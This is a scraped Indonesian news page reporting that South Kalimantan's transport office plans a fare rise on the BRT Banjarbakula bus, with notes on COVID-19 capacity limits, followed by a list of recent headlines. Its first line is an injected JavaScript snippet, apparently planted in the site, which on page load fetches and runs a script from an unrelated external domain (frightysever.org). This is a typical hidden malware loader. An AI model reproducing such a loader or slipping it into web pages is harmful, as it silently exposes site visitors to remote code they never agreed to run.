(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kalimantan Selatan

Tarif BRT Banjarbakula Bakal Naik, Ini Penjelasan Dishub Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub Kalsel) Kalimantan Selatan (Kalsel) berencana menaikan tarif angkutan Bus Rapid Transit (BRT) Banjarbakula.
Berdasarkan Peraturan Daerah nomor 8 tahun 2020 tentang perubahan keempat atas Peraturan Daerah nomor 6 tahun 2012 tentang retribusi jasa usaha.

Sekretaris Dishub Kalsel, Muhammad Mirhansyah, mengatakan kenaikan tarif tersebut juga sebagai stimulus agar pengguna memanfaatkan transaksi non tunai dalam pembayaran BRT, dikarenakan yang mengalami kenaikan hanya kategori umum non berlangganan.

“Jadi, tujuannya sendiri untuk mengurangi penggunaan karcis dan menghindari penyebaran Covid-19, serta mengurangi limbah lingkungan. Sehingga transaksi non tunai lebih aman,” kata Mirhansyah dikutip dari Media Center Kalsel, Selasa (10/8/2021).

 

 

Baca juga: Perpanjangan PPKM Jadi ‘Pukulan’ Berat Pedagang Pasar Malam di Pasar Ulin Banjarbaru

Sebelumnya, tarif BRT yang berlaku yakni umum non berlangganan Rp 6.000, umum berlangganan Rp5.000, dan pelajar Rp 2.000.

“Jadi, yang kita naikan tarif BRT untuk kategori umum non berlangganan atau memakai karcis. Sedangkan umum berlangganan tarifnya tetap. Ini pun kenaikannya cuma seribu,” ucap Mirhansyah.
Terkait operasional BRT selama pemberlakuan PPKM level 3 dan 4 di Kalsel dalam beberapa minggu terakhir, Mirhansyah mengatakan pihaknya memang sudah melakukan pembatasan kapasitas, sehingga jumlah penumpang mengalami penurunan hingga 60 persen.

“Kapasitas penumpang memang kita turunkan, bukan karena dampak PPKM kapasitas diturunkan. Hal ini untuk menghindari lonjakan kasus Covid-19,” jelas Mirhansyah.

Ia pun mengatakan Dishub Kalsel menerapkan protokol kesehatan (prokes) ketat seperti jaga jarak, menggunakan masker, dan cek suhu tubuh, baik bagi petugas maupun penumpang.

“Kita tidak ingin pegawai dan penumpang terpapar Covid-19, maka dari kita selalu mengedepankan prokes,” kata Mirhansyah. (kanalkalimantan.com/mckalsel)

 

Reporter: mckalsel
Editor : kk


Desy Arfianty

Recent Posts

Desa Longkong Ikuti Lomba Posyandu, Ini Pesan Ketua TP PKK HSU

KANALKALIMANTAN.COM, AMUNTAI – Pos Pelayanan Terpadu (Posyandu) Mawar Desa Longkong, Kecamatan Danau Panggang, menjadi lokasi… Read More

56 menit ago

DPRD Banjarbaru Berikan 11 Evaluasi LKPj Wali Kota Tahun Anggaran 2024

KANALKALIMANTAN.COM, BANJARBARU - Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru memberikan evaluasi terkait rekomendasi laporan… Read More

3 jam ago

Bupati Banjar Lantik 657 ASN dan PPPK 2024

KANALKALIMANTAN.COM, MARTAPURA - Kegembiraan terpancar dari raut wajah 27 CPNS dan 630 PPPK Tahun Anggaran… Read More

3 jam ago

Petugas Mulai Sortir Lipat Surat Suara Coblosan Ulang Pilwali Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Surat suara untuk Pemilihan Wali Kota dan Wakil Wali Kota (Pilwali) Banjarbaru… Read More

7 jam ago

Pemkab Gelar Pisah Sambut Kapolres Banjar, AKBP Dr Fadli Gantikan AKBP Ifan Hariyat

KANALKALIMANTAN.COM, MARTAPURA - Pisah sambut Kapolres Banjar dari AKBP M Ifan Hariyat kepada AKBP Dr… Read More

10 jam ago

Pemerintah Berikan Pemutihan Denda Pajak pada 2025, Ini Ketentuannya!

KANALKALIMANTAN.COM - Pemerintah kembali menghadirkan kebijakan pemutihan denda pajak sebagai langkah strategis untuk meningkatkan kepatuhan… Read More

11 jam ago

This website uses cookies.